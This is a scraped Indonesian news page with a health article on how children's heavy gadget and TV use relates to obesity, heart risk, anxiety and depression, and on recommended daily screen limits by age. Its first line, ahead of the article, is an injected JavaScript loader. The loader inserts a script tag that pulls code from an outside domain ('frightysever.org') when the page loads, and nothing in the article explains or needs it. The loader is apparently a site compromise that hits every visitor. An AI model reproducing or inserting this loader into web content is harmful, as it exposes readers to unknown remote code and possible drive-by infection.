(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Anak Hobi Main Gawai Beresiko Obesitas, Ini Waktu Ideal Main Gawai


Kata bermain pada anak-anak kini merujuk pada duduk tenang sambil memainkan gawai. Terkadang mereka bisa tahan berjam-jam dengan gawainya. Menurut penelitian, anak usia 8 hingga 18 tahun menghabiskan waktu 7 jam sehari di depan gawai. Padahal, rekomendasi para ahli tak lebih dari dua jam sehari. Salah satu bahaya dari kebiasaan bermain gawai adalah dapat menyebabkan obesitas pada anak-anak. Bukan hanya kurang bergerak aktif, saat bermain gawai anak-anak juga terkadang mengasup makanan tidak sehat. “Saat anak-anak berada di depan layar, mereka mulai mengemil,” kata Dr Tara Narula dalam wawancara bersama CBS. Karena fokus pada gawai, banyak anak tidak memperhatikan sinyal otak bahwa perut sudah kenyang dan perlu berhenti makan. “Cahaya biru dari layar juga mengganggu kemampuan mereka untuk tidur. Dan kita tahu, kurang tidur dapat menyebabkan risiko obesitas,” katanya. Penelitian ini tidak secara langsung dan khusus menghubungkan screen time (waktu di depan layar) dengan masalah jantung dan pembuluh darah. Seperti diketahui, berat badan berlebih adalah faktor risiko penyakit jantung. Tentu saja, obesitas dan penyakit jantung bukan satu-satunya risiko terlalu banyak menatap gawai.  Beberapa penelitian mengungkapkan, waktu layar berlebihan juga dapat mengganggu perkembangan keterampilan sosial anak.

Lalu, berapa lama ideal batas waktu anak menonton TV dan main gadget dalam sehari?

1.Resiko kesehatan fisik dan sosial

Laporan KPI menunjukkan anak Indonesia menempati urutan teratas dalam urusan menonton siaran televisi terlama di antara negara ASEAN. Anak Indonesia rata-rata menonton TV hingga 5-7 jam setiap hari, sementara anak negara ASEAN lain hanya menghabiskan waktu di depan TV sekitar 2-3 jam per hari. Sebuah penelitian terbitan Archives of Disease in Childhood tahun 2017 melaporkan anak yang terbiasa menonton televisi lebih dari 3 jam sehari berisiko tinggi mengalami diabetes tipe 2 dan penyakit jantung.

Children using technology on sofa

Anak menonton TV hingga lebih dari 3 jam setiap hari juga dilaporkan berisiko mengalami obesitas pada usia 30 tahun, ungkap sebuah studi lain asal Inggris. Ternyata dampak buruk kebiasaan menonton TV terlalu lama ternyata tidak berhenti sampai kesehatan fisiknya saja. Studi tim peneliti University of Otago di Selandia Baru yang dimuat dalam jurnal Pediatric menyebutkan bahwa terlalu sering menonton TV terkait dengan perkembangan sifat sosiopatik saat anak beranjak dewasa.

2.Resiko kecemasan dan depresi

Sementara itu dirangkum dari berbagai penelitian, analisis para ilmuwan menunjukkan bahwa anak-anak yang memakai gadget untuk berinteraksi di media sosial secara berlebihan tiga kali lipat lebih berisiko mengalami gangguan tidur, termasuk insomnia, yang bisa memicu gangguan kecemasan dan depresi. Menurut American Academy of Pediatrics (AAP), orangtua seharusnya sama sekali tidak membolehkan anak-anak mereka menggunakan perangkat elektronik apa pun (konsol game, laptop, tablet elektronik, ponsel) sampai anak menginjak usia 18 bulan. Ketika usia anak berada di rentang 18-24 bulan, orangtua boleh mulai memperkenalkan mereka pada media digital yang memiliki konten edukatif.

3.Waktu ideal main gadget

Sementara itu, durasi menonton TV dan pemakaian gadget bagi anak berusia 2-5 tahun harus dibatasi maksimal 1 jam per hari. Konten pun hanya sebatas bersifat edukatif. Ketika membolehkan anak menonton TV atau main gadget, orangtua harus terus mendampingi untuk mengawasi. Untuk anak-anak yang berusia lebih dari 6 tahun, American Academy of Pediatrics menganjurkan durasi menonton TV kurang dari 2 jam setiap hari. Bagaimana dengan media sosial? Para ahli kesehatan anak dari seluruh dunia sepakat bahwa penggunaan media sosial harus dibatasi hanya 1,5 hingga 2jam sehari untuk anak yang sudah remaja. Selain mengatur waktu, anak juga perlu belajar tentang etika berinteraksi dan cara berkomunikasi yang baik di dunia maya agar tidak terlibat dalam kasus perundungan digital. (bie/net)

Reporter : Bie/net
Editor : Bie

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

8 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

8 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

10 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

12 jam ago

This website uses cookies.